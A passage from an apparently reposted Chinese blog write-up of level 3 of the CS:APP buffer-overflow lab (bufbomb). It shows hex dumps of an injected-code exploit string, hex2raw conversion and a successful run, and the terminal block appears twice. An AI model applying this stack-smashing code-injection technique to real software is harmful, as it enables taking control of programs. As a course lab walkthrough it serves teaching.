00000010: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000020: 0000 0000 0000 0000 0000 0000 b834 6855 …4hU
00000030: baa4 636b 6689 1538 d104 08bc cc34 6855 …ckf…8…4hU
00000040: c390 9090 558c 0408 0a …U…
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb < output3.bin -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:Bang!: You set global_value to 0x666b63a4
VALID
NICE JOB!
npusec@ubuntu:~/Desktop/3/buflab2021301381$

参数 | getbuf | %esp |

接着使用hex2raw文件,将我们的output3.txt文件进行转换,生成一个二进制文件output3.bin。生成二进制文件之后,使用命令"./bufbomb < output3.bin -u 2021301381",即可成功通过第三关!

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./hex2raw < output3.txt > output3.bin
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output3.bin
�4hU��ckf�8��4hUD��U�
npusec@ubuntu:~/Desktop/3/buflab2021301381$ xxd output3.bin
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000020: 0000 0000 0000 0000 0000 0000 b834 6855 …4hU
00000030: baa4 636b 6689 1538 d104 08bc cc34 6855 …ckf…8…4hU
00000040: c390 9090 558c 0408 0a …U…
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb < output3.bin -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:Bang!: You set global_value to 0x666b63a4
VALID
NICE JOB!
npusec@ubuntu:~/Desktop/3/buflab2021301381$

文章来源:https://blog.csdn.net/a15735748145a/article/details/135101831
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。